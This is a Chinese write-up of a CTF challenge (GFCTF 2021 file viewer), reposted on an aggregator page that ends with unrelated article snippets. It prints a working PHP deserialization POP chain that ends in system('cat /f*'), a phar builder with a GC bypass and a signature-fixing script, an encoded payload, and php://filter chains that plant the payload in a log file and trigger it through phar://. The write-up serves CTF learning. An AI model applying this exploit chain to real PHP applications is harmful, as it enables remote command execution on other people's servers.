[GFCTF 2021]文件查看器(GZ、过滤器、phar) day4

news2024/12/26 23:37:33

打开界面直接一个登录界面,直接admin/admin登录进去 。

 进来之后发现是一个文件查看器的功能

随便输入了点东西发现了报错,然后读取文件的功能,输入Files.classs.php发现读取不成功

换了个index.php

<?php
    function __autoload($className) {
        include("class/".$className.".class.php");
    }

    if(!isset($_GET['c'])){
        header("location:./?c=User&m=login");
    }else{
        $c=$_GET['c'];
        $class=new $c();
        if(isset($_GET['m'])){
            $m=$_GET['m'];
            $class->$m();
        }
    }

 大概的意思就是new 传入一个类,然后调用类中的方法,推断肯定有别的源码,果断扫目录

发现www.zip,里面有几个php文件,然后可以看到每个类中都有几个魔法函数,说明肯定是用他们一起然后构造一个pop链,大致拼接了一下

 
<?php
class Myerror{

    public $message;
    public function __tostring(){
        $test=$this->message->{$this->test};
        return "test";
    }
}

class User{
    public $username;
    public $password;

    public function check(){
        if($this->username==="admin" && $this->password==="admin"){
            return true;
        }else{
            echo "{$this->username}的密码不正确或不存在该用户";
            return false;
        }
    }

    public function __destruct(){//destruct->call->check->String->get
        (@$this->password)();
    }

    public function __call($name,$arg){
        ($name)();
    }
}

class Files{
    public $filename;

    public function __get($key){
        ($key)($this->arg);
    }
}


 //destruct->check->String->get

<?php
class Myerror{

    public $message;
//    public function __tostring(){
//        $test=$this->message->{$this->test};
//        return "test";
//    }
}

class User{
    public $username;
    public $password;

//    public function check(){
//        if($this->username==="admin" && $this->password==="admin"){
//            return true;
//        }else{
//            echo "{$this->username}的密码不正确或不存在该用户";
//            return false;
//        }
//    }
//
//    public function __destruct(){//destruct->call->check->String->get
//        (@$this->password)();
//    }
}

class Files{
    public $arg;
    //public $filename;

//    public function __get($key){
//        ($key)($this->arg);
//    }
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";

echo serialize($U);

这里有一个点就是

([new User(),"check"];)();会调用user类中的check方法

但是类中没有unserialize反序列化的点, 发现日志里面可以写入但是前后都有脏数据

utf8转为UCS-16时,每个字符后面会生成一个/0不可见字符

但是被禁用了,和下面正好相反

utf8转为UCS-2时,每个字符前面会生成一个/0不可见字符

$a="abc==";
$a=iconv('utf-8','UCS-2',($a));
// a b c = =

 quoted_printable_encode,生成

这个字符生成原则除了ascii非ascii字符和等号用=+两个16进制数字表示,比如0就是=00,=就是=3d   

$a="abc==";
file_put_contents('a.txt',quoted_printable_encode($a));
//abc=3D=3D
这里要经过 quoted_printable_encode是 因为,utf8转为UCS-2时会生成不可见字符也就是空白,而 file_get_contents() 在加载有空字节的文件时会 warning

所以现在需要:

base64-encode --> utf-8 -> ucs-2 --> convert.quoted-printable-decode,我们可以写一个编码脚本:

<?php
$b = file_get_contents('ars2.phar');
$payload = iconv('utf-8', 'UCS-2', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;

构造完了以后就需要生成我们的phar文件

<?php


class Myerror{

    public $message;
}

class User{
    public $username;
    public $password;
}

class Files{
    public $arg;
}
$U=new User();
$U->password=[new User(),"check"];
$U->username=new Myerror();
$U->username->message=new Files();
$U->username->test="system";
//$U->username->test->arg="cat /f*";
$U->username->message->arg="cat /f*";
$b=[$U,null];
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($b);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

GC回收机制

通过这个就可以生成phar文件了,$b=[$U,null];这里怎么来的呢

这里就是 $b[0]=$U   $b[1]=null;  但是如果生成phar以后,我们在010把b[1]改为b[0]那么,前面的那个$b[0]=$U由于没有指针指向,就会被GC回收掉

但是phar是通过签名来进行解析,前面又依靠前面的数据,如果直接改的话则会数显解析错误的信息。

可以看到,最后四个字节固定是GBMB,然后再往前四个字节是⽤来指定签名的算法,可能是MD5、SHA1、SHA256、SHA512,默认是SHA1,长度为20个字节,所以说签名部分就是末尾的28个字节,那我们去掉末尾的28个字节,再利用sha1算法对文件进行加密,就可以得到正确的签名了

import gzip
from hashlib import sha1

file = open("arsenetang.phar","rb").read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时sha1正确了。

open("arsenetang2.phar","wb").write(new_file)

这样我们把1改为0,再把后面的签名重新生成就ok了

回到本题这道题为啥要用GC回收机制呢

 因为这里过滤了phar但是我们又想用,所以在phar解析里面的变量指针为看空,直接就会不执行this->filter直接进行销毁触发反序列化的操作。

=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=00N=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00X=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=00m=00a=00W=00x=00l=00b=00m=00F=00t=00Z=00S=00I=007=00T=00j=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00T=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=009=00a=00T=00o=00x=00O=003=00M=006=00N=00T=00o=00i=00Y=002=00h=00l=00Y=002=00s=00i=00O=003=001=009=00a=00T=00o=00w=00O=000=004=007=00f=00Q=00g=00A=00A=00A=00B=000=00Z=00X=00N=000=00L=00n=00R=004=00d=00A=00s=00A=00A=00A=00C=00L=001=006=00R=00h=00C=00w=00A=00A=00A=00N=00v=00G=00o=00S=00C=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00G=00F=00h=00Y=00W=00F=00h=00Y=00W=00F=000=00Z=00X=00N=000=006=00O=00q=00P=00c=004=00H=00F=00K=009=00m=00B=003=00b=00p=00Q=00s=00r=005=00Y=00g=00y=004=00x=00o=00L=00Y=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D
php://filter/write=convert.quoted-printable-decode/resource=log/error.txt

php://filter/write=convert.iconv.ucs-2.utf8/resource=log/error.txt

php://filter/write=convert.base64-decode/resource=log/error.txt

php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt  //组合过滤器

然后在解码的过程中发现少了一个=,我们在结尾重新传入 最上面加密后的字符+  =00=3D就可以了

最后  phar://log/error.txt触发即可

php://filter/read=consumed/resource=log/error.txt  清空日记操作

 WP篇之解析GFCTF---文件查看器 | Arsene.Tang (arsenetang.com)

最后提一句,这里的是否重写文件,其实就是调用的file_put_contents. 上面我们的过滤器都需要勾上,因为要对日志中的信息进行一个解码,需要它进行改变,然后为什么是log/error.txt咋来的呢,

通过源码以及给的zip目录,发现报错信息都写入了这里面。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/508471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无效的目标发行版: 11

背景&#xff1a;最近在研究es&#xff0c;想着弄一个连接es集群的springboot的工程&#xff0c;然后就在网上找到一个&#xff0c;结果弄到本地运行时&#xff0c;报错了“ 无效的目标发行版: 11 ” 看着报错就知道肯定是你导入的项目和你本地的JDK版本不匹配了&#xff0c;然…

手把手教你如何将安卓手机数据导入iPhone!【详解】

案例&#xff1a;安卓数据导入苹果手机 【大神们&#xff0c;刚换了新的苹果手机&#xff0c;原本的安卓手机数据怎么导入新手机&#xff1f;】 想要换用iPhone&#xff0c;但是又不想丢失安卓手机里的重要数据怎么办&#xff1f;如何将安卓手机数据导入iphone&#xff1f;本文…

如何学习5G网络优化才能拿高薪?我已摆烂,各位努力!

“内卷”和“躺平” 有的人卷成了麻花 有的人选择了躺下 毕竟只要躺得够平&#xff0c;就卷不到我 但是更多的人选择在“内卷”与“躺平”的徘徊抉择中 “躺”的核心是休息&#xff0c;“卷”的本质是提升 但是在优橙教育学习5G网络优化 大家学会将两者融合 学习的时候…

玩转ChatGPT:快速制作PPT

一、写在前面 首先还是让小Chat推销下自己&#xff1a; 你是否曾经为制作 PPT 而烦恼&#xff1f;现在有了 ChatGPT&#xff0c;再也不必担心灵感枯竭啦&#xff01;使用 ChatGPT 撰写 PPT 可以让你轻松地组织思路、快速得到内容&#xff0c;无需任何营销口号&#xff0c;Cha…

【算法与数据结构】队列

队列 队列&#xff1a;结构定义 队列是有一篇连续的存储区&#xff0c;其实连续性不重要&#xff0c;而是队列需要保持一个特性&#xff1a; 从队首出元素&#xff0c;从队尾入元素。这一点与顺序表不一样&#xff0c;元素加入的位置不一样 队列&#xff1a;只允许从尾部加入…

P1003 [NOIP2011 提高组] 铺地毯

题目提供者 CCF_NOI 难度 普及- 此篇必须看到底&#xff01; 题目描述 为了准备一个独特的颁奖典礼&#xff0c;组织者在会场的一片矩形区域&#xff08;可看做是平面直角坐标系的第一象限&#xff09;铺上一些矩形地毯。一共有 n 张地毯&#xff0c;编号从 1 到 n。现在…

电力物联网是什么?在智能配电系统中有什么作用?

摘要&#xff1a;在社会经济和科学技术不断发展中&#xff0c;配电网实现了角色转变&#xff0c;传统的单向供电服务形式已经被双向能流服务形式取代&#xff0c;社会多样化的用电需求也得以有效满足。随着物联网技术的发展&#xff0c;泛在电力物联网开始应用于当今的电力系统…

便携式挂钩型儿童椅 标准ASTMF1235测试项目周期多久?

便携式挂钩型儿童椅 适用于6 个 月至 3 岁之间的儿童&#xff0c;体重不超过 37 磅&#xff0c;并具 备自主协调坐姿的能力。 那么该类产品上亚马逊需要做下面的检测&#xff1a; 便携式儿童外出餐椅 ASTM F1235-18 和 CPSIA&#xff08;铅、邻苯二甲酸盐&#xff09; 亚马逊…

新手开始学【网络安全】要怎么入门?

前言&#xff1a;网络安全如何从零开始学习&#xff0c;少走弯路&#xff1f; 目录&#xff1a; 一&#xff0c;怎么入门&#xff1f; 1、Web 安全相关概念&#xff08;2 周&#xff09;2、熟悉渗透相关工具&#xff08;3 周&#xff09;3、渗透实战操作&#xff08;5 周&…

M304A-ZN-当贝纯净桌面-卡刷固件包-内有教程

M304A-ZN-当贝纯净桌面-卡刷固件包-内有教程 特点&#xff1a; 1、适用于对应型号的电视盒子刷机&#xff1b; 2、开放原厂固件屏蔽的市场安装和u盘安装apk&#xff1b; 3、修改dns&#xff0c;三网通用&#xff1b; 4、大量精简内置的没用的软件&#xff0c;运行速度提升…

用ChatGPT三分钟免费做出数字人视频- 提升自媒体魅力

用ChatGPT三分钟免费做出数字人视频- 提升自媒体魅力 一、ChatGPT产生文案二、腾讯智影网站三、选择一个2D数字人四、粘贴文本五、编辑自定义&#xff0c;合成六、资源七、其他数字人平台推荐八、生成视频预览 本教程收集于&#xff1a;AIGC从入门到精通教程汇总 操作指引 Ch…

KingbaseES V8R3 集群运维系列 -- sync_flag参数配置

​案例说明&#xff1a; 在KingbaseES V8R3集群一主二备的架构中&#xff0c;配置了流复制为同步(sync)模式&#xff0c;但是集群启动后&#xff0c;流复制状态中显示备库是async模式(备库和主库数据已经同步)&#xff0c;从备库的recovery.log日志也可以看到&#xff0c;备库启…

记录--前端实现点击选词功能

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 今天有一个需求&#xff0c;点击选中某个英文单词&#xff0c;然后对这个单词做一些处理&#xff0c;例如高亮背景、查看一些详细信息等等&#xff0c;今天简单实现了一下&#xff0c;效果如下&#x…

ChatGLM-6B本地cpu部署

ChatGLM-6B是清华团队研发的机器人对话系统&#xff0c;类似ChatGPT&#xff0c;但是实际相差很多&#xff0c;可以当作一个简单的ChatGPT。 ChatGLM部署默认是支持GPU加速&#xff0c;内存需要32G以上。普通的机器无法运行。但是可以部署本地cpu版本。 本地部署&#xff0c;需…

ePWM模块(3)

比较模块 CMPA:比较寄存器A,其值与TBCTR值比较,相同时,事件发送到动作模块。 CMPB:比较寄存器B,其值与TBCTR值比较,相同时,事件发送到动作模块。 CMPCTL:控制寄存器(重要) SHDWAFULL(或SHDWBFULL):CMPA(或B)阴影寄存器满标志位 0:未满 1:满了 SHDWAMODE(或…

【致敬未来的攻城狮计划】— 连续打卡第二十六天:瑞萨RA Cortex-M 内核RA2E1 RT-Thread BSP 启蒙知识

系列文章目录 由于一些特殊原因&#xff1a; 系列文章链接&#xff1a;&#xff08;其他系列文章&#xff0c;请点击链接&#xff0c;可以跳转到其他系列文章&#xff09;或者参考我的专栏“ 瑞萨MCU ”&#xff0c;里面是 瑞萨RA2E1 系列文章。 24.RA2E1的 DMAC——数据传输 …

Ubuntu设置静态IP地址的方法

今天重装了ubuntu22.04server系统&#xff0c;顺便将Ip方法的配置方法记录下&#xff0c;备存。 步骤1&#xff1a;先ifconfig查看电脑的网卡信息 找到物理网卡的名称&#xff0c;我这里是enp3s0 步骤2&#xff1a;找到gateway网关地址 输入route -n命令&#xff0c;打印路由…

数据知识驱动的城市作战元宇宙建模框架

源自&#xff1a;指挥与控制学报 作者&#xff1a;郑文博 李强 刘文礼 费爱国 王飞跃 摘 要 1 相关工作与问题提出 2 新型元宇宙框架的构建 图 1 平行智能与元宇宙 图2 数据知识驱动的城市作战元宇宙建模框架 3 案例设计 3.1 基于生成式对抗网络的表现力改进设计 图…

开关电源基础06:基本开关电源电感能量传输原理

说在开头&#xff1a;关于第六届索尔维会议&#xff08;1&#xff09; 1930年&#xff0c;第六届的索尔维会议要召开了&#xff0c;一大帮子物理学家又在深秋时节聚到了布鲁塞尔&#xff1b;玻尔来到会场时心中踹踹不安&#xff0c;看爱因斯坦似笑非笑的表情&#xff0c;吃不准…

这所院校23年分数线暴涨45分,临时扩招69人!!

本期为大家整理热门院校-“南京信息工程大学”的择校分析&#xff0c;这个择校分析专题会为大家结合&#xff1a;初试复试占比、复试录取规则&#xff08;是否公平&#xff09;、往年录取录取名单、招生人数、分数线、专业课难度等进行分析。希望能够帮到大家! –所有数据来源…